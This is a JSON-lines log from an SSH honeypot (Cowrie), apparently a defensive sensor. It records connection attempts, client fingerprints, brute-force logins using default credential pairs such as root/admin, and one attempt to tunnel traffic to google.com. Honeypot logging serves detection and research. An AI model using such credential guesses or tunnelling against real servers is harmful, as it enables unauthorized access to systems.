{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":1191,"dst_ip":"10.17.0.5","dst_port":22,"session":"469cbb452c15","protocol":"ssh","message":"New connection: 201.149.53.243:1191 (10.17.0.5:22) [session: 469cbb452c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:43.522832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:43.527452Z","src_ip":"201.149.53.243","session":"469cbb452c15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:43.595992Z","src_ip":"201.149.53.243","session":"469cbb452c15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hadoop","message":"login attempt [root/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:43.901182Z","src_ip":"201.149.53.243","session":"469cbb452c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:44.973466Z","src_ip":"201.149.53.243","session":"469cbb452c15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":42898,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5fcf45843e1","protocol":"ssh","message":"New connection: 221.139.88.149:42898 (159.203.135.109:22) [session: f5fcf45843e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:45.902434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:45.910417Z","src_ip":"221.139.88.149","session":"f5fcf45843e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:46.152292Z","src_ip":"221.139.88.149","session":"f5fcf45843e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu1!","message":"login attempt [ubuntu/ubuntu1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:47.093679Z","src_ip":"221.139.88.149","session":"f5fcf45843e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:48.291034Z","src_ip":"221.139.88.149","session":"f5fcf45843e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.42.116.62","src_port":37981,"dst_ip":"159.203.135.109","dst_port":22,"session":"2eb262962b56","protocol":"ssh","message":"New connection: 192.42.116.62:37981 (159.203.135.109:22) [session: 2eb262962b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:51.782093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:52.459598Z","src_ip":"192.42.116.62","session":"2eb262962b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:52.483799Z","src_ip":"192.42.116.62","session":"2eb262962b56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:55.293035Z","src_ip":"192.42.116.62","session":"2eb262962b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:55.297297Z","src_ip":"192.42.116.62","session":"2eb262962b56","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:23:56.005426Z","src_ip":"192.42.116.62","session":"2eb262962b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":43416,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc2a54f4efa9","protocol":"ssh","message":"New connection: 210.183.21.53:43416 (10.17.0.5:22) [session: bc2a54f4efa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:07.958689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:07.963658Z","src_ip":"210.183.21.53","session":"bc2a54f4efa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:08.166580Z","src_ip":"210.183.21.53","session":"bc2a54f4efa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q!w2e3r4","message":"login attempt [root/Q!w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:09.008462Z","src_ip":"210.183.21.53","session":"bc2a54f4efa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:10.215450Z","src_ip":"210.183.21.53","session":"bc2a54f4efa9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"192.42.116.62","src_port":58868,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:58868","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:15.714052Z","session":"2eb262962b56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:16.219944Z","src_ip":"192.42.116.62","session":"2eb262962b56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03w\\xbdk\\xa3%]\\xfb\\xf4(\\xc1\\xbcM\\\\Y\\x8c\\xdeB{|\\xb9\\x06\\xc28e\\xf7\\x9d\\xf6\\x115i\\x9d\\xb7 OC\\x02\\xc1\\xefH\\xa1\\xb5;Wr\\xc0\\xfb\\x93\\x93\\xc6\\x9a\\xfa\\xcc\\xc8\\xc3\\x84Pm\\xdc\\xa92\\xe0T)`\\x00\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\\\\\xc8\\xc2\\x9a\\x9ak\\xe9\\xab\\xeb\\x17\\xdc\\x1eG@\\xb6~IJ\\xf4\\xec\\xa3n\\xe9\\xbf\\x1d{\\xc2\\xefY\\x87)!\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03w\\xbdk\\xa3%]\\xfb\\xf4(\\xc1\\xbcM\\\\Y\\x8c\\xdeB{|\\xb9\\x06\\xc28e\\xf7\\x9d\\xf6\\x115i\\x9d\\xb7 OC\\x02\\xc1\\xefH\\xa1\\xb5;Wr\\xc0\\xfb\\x93\\x93\\xc6\\x9a\\xfa\\xcc\\xc8\\xc3\\x84Pm\\xdc\\xa92\\xe0T)`\\x00\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\\\\\xc8\\xc2\\x9a\\x9ak\\xe9\\xab\\xeb\\x17\\xdc\\x1eG@\\xb6~IJ\\xf4\\xec\\xa3n\\xe9\\xbf\\x1d{\\xc2\\xefY\\x87)!\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:16.225546Z","src_ip":"192.42.116.62","session":"2eb262962b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":52358,"dst_ip":"159.203.135.109","dst_port":22,"session":"964fc082b6f4","protocol":"ssh","message":"New connection: 173.249.6.197:52358 (159.203.135.109:22) [session: 964fc082b6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:16.436453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:16.444344Z","src_ip":"173.249.6.197","session":"964fc082b6f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:16.535889Z","src_ip":"173.249.6.197","session":"964fc082b6f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.1","message":"Connection lost after 25.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:16.924813Z","src_ip":"192.42.116.62","session":"2eb262962b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"11111111","message":"login attempt [test/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:16.935773Z","src_ip":"173.249.6.197","session":"964fc082b6f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55056,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea970a731fa8","protocol":"ssh","message":"New connection: 159.203.92.129:55056 (159.203.135.109:22) [session: ea970a731fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:17.086413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:24:17.092291Z","src_ip":"159.203.92.129","session":"ea970a731fa8","protocol":"ssh"}
